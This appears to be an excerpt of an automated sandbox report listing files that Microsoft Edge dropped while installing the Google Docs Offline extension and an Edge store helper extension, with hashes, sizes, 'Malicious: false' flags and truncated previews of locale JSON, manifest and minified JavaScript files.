SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir8144_758909389\0c64860c-6c5c-4ddb-a301-2532d738bde3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8144_758909389\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8144_758909389\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8144_758909389\CRX_INSTALL\content_new.js

Download File

